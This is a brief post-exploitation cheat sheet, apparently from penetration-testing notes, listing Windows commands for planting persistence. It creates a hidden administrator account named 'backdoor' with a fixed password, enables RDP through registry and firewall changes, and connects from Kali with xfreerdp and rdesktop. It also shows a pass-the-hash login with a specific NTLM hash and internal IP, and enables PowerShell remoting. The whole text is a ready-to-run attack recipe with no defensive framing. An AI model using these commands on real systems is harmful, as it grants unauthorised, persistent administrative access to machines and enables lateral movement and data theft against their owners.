Backdoor

Add a user to local Administrators & remote desktop users group

CMD> net user backdoor Password0- /add
CMD> net localgroup "Remote Desktop Users" /add backdoor
CMD> net localgroup Administrators backdoor /add

Enable RDP

CMD> reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
CMD> netsh advfirewall firewall set rule group="remote desktop" new enable=Yes

Remote Desktop connection

Kali> xfreerdp /u:DOMAIN\\backdoor /p:Password0- /v:$RHOST +clipboard /cert:ignore
Kali> rdesktop -u backdoor -p Password0- $RHOST -r disk:share=/your_share_dir

Kali> xfreerdp [/d:domain] /u:<username> /pth:<hash> /v:<IP>
Kali> xfreerdp /v:172.16.1.20 /u:katwamba /pth:'14a71f9e65448d83e8c63d46355837c3' +clipboard

Enable PS Remoting

PS> Enable-PSRemoting
PS> Enter-PSSession -Computername TAGRET
PS> Enable-NetFirewallRule -DisplayGroup "Remote Desktop"